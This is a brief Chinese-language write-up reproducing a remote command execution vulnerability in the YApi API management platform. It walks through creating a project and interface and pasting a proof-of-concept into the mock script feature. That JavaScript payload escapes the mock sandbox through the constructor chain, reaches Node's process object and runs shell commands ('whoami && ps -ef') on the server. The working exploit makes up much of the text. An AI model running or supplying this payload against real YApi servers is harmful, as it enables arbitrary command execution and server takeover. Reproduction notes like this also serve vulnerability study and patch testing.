Yapi远程命令执行漏洞复现
本地docker启动环境,注册一个用户。
新建一个项目。
添加一个接口
在此启用mock脚本,输入我们的poc
POC:
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
保存之后回到预览页面,可以看到mock地址,访问该地址,发现命令已被执行。
可以看到,成功执行我们poc里插入的命令。